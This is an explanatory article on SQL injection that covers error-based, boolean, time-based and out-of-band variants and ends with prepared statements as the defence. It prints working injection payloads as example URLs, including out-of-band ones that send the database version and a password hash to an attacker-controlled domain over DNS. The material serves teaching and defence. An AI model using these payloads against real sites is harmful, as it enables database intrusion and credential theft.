What is the SQL Injection Vulnerability & How to Prevent it?

In the early days of the internet building websites was very simple; no JavaScript and no CSS and a few pictures. But as the web grew more popular the need for more advanced technology and dynamic websites arose. This lead to the development of CGI and server side scripting languages like ASP, JSP and PHP. 

In order to be able to store user input and site content databases were needed. It is therefore of no surprise that every big server side scripting language added support for SQL databases in its early versions. However, as with almost every technical improvement new attack vectors were found. One of the most dangerous issues in terms of data confidentiality and integrity in web applications is a vulnerability called SQL injection.

The Different Types of the SQL Injection Vulnerability

There are several different methods for an attacker to exfiltrate data from a server through SQL Injection vulnerabilities. Some common ones include retrieving data based on errors, timing and conditions (true / false). Let’s look into the different variants of the SQL injection vulnerability

Error based SQL Injection

When exploiting an Error Based SQL Injection vulnerability the attacker can retrieve information such table names and content from visible database errors. Here is an example of an error based SQL injection:

https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

Such request returns the following error: Duplicate entry 'database1' for key 'group_key'

The same method works for table names and content. It is always a good idea to disable error messages on a production system to not give an attacker any insider information.

Boolean Based SQL Injection

Sometimes there is no visible error message on the page when a SQL query fails, making it difficult for an attacker to get information from the vulnerable application. However there is still a  way to extract information.

For example when a SQL query fails sometimes some parts of the web page disappear, change or the whole website does not load at all. These indications allow an attacker to determine if the input parameter is vulnerable, and if it allows extraction of data. A common test for that is to insert some condition inside the SQL query such as:

https://example.com/index.php?id=1+AND+1=1

If the page loads as usual it might be vulnerability to a SQL Injection. To be sure an attacker typically tries  to provoke a false result, such as:

https://example.com/index.php?id=1+AND+1=2

Since the condition is false, if no result is returned and the page does not work as usual, for example has some missing text, or a white page is shown, it might be vulnerable to a SQL injection. Here is an example of how to extract data with the above technique:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',true,false)

With the above request the page should load as usual if the database version is 5.X, but will behave differently (e.g. empty page) if the version is different, giving the attacker an indication if it is vulnerable to SQL injection or not.

Time based SQL Injection

In some cases a vulnerable SQL query does not have any visible effect on the output of the page. Thouh in such cases it is still possible to extract information from the underlying database when exploiting a SQL injection vulnerability.

This is done by instructing the database to wait a measurable amount of time before responding. If the page is not vulnerable it will load as usual, but if it is vulnerable it will take longer to load. By using this method data can still be extracted even though there are no visible change on the page. The SQL syntax can be similar to the one used in the boolean based SQL injection vulnerability. But to get a measurable sleep time we have to change the “true” to a function that takes some time to execute, such as sleep(3) which lets the database sleep for 3 seconds:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)

If the page takes longer than usual to load it is safe to assume that the database version is 5.X.

Out-of-Band SQL Injection Vulnerability

Sometimes the only way an attacker can retrieve information from a database is to use out of band techniques. Usually these type of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers might use such method if an injection does not occur directly after the supplied data is inserted, but at a later point in time. An example for an Out-of-Band technique follows:

https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))

https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')

With the above requests, the target makes a DNS request to the attacker owned domain with the query result inside the sub domain. By using this method an attacker does not need to directly see the result of the injection, but can wait until the database server sends a request instead.

Impacts of the SQL Injection Vulnerability

There are a variety of things an attacker can do when exploiting a SQL injection on a vulnerable website. Mostly though it depends on the privileges the user the web application uses has to connect to the database server. By exploiting a SQL injection vulnerability an attacker can:

• Add, delete, edit or read content from the database
• Read source code from files on the database server
• Write files to the database server

It all depends on the capabilities of the attacker, but the exploitation of a SQL injection vulnerability can even lead to complete takeover of the database and web server. You can learn more useful tips on how to test the impact of an SQL injection vulnerability on your website by referring to the  SQL injection cheat sheet.

Preventing SQL Injection Vulnerabilities

Server side scripting languages are not able to determine whether or not the SQL query string is malformed; all they can do is send a string to the database server and wait for the interpreted response.

Therefore when developing web applications you should use prepared statements to prevent SQL injections. When using prepared statements the structure and data are separated and can be interpreted by the sql server without risking that an attacker is able to change the structure of the SQL query for malicious purposes.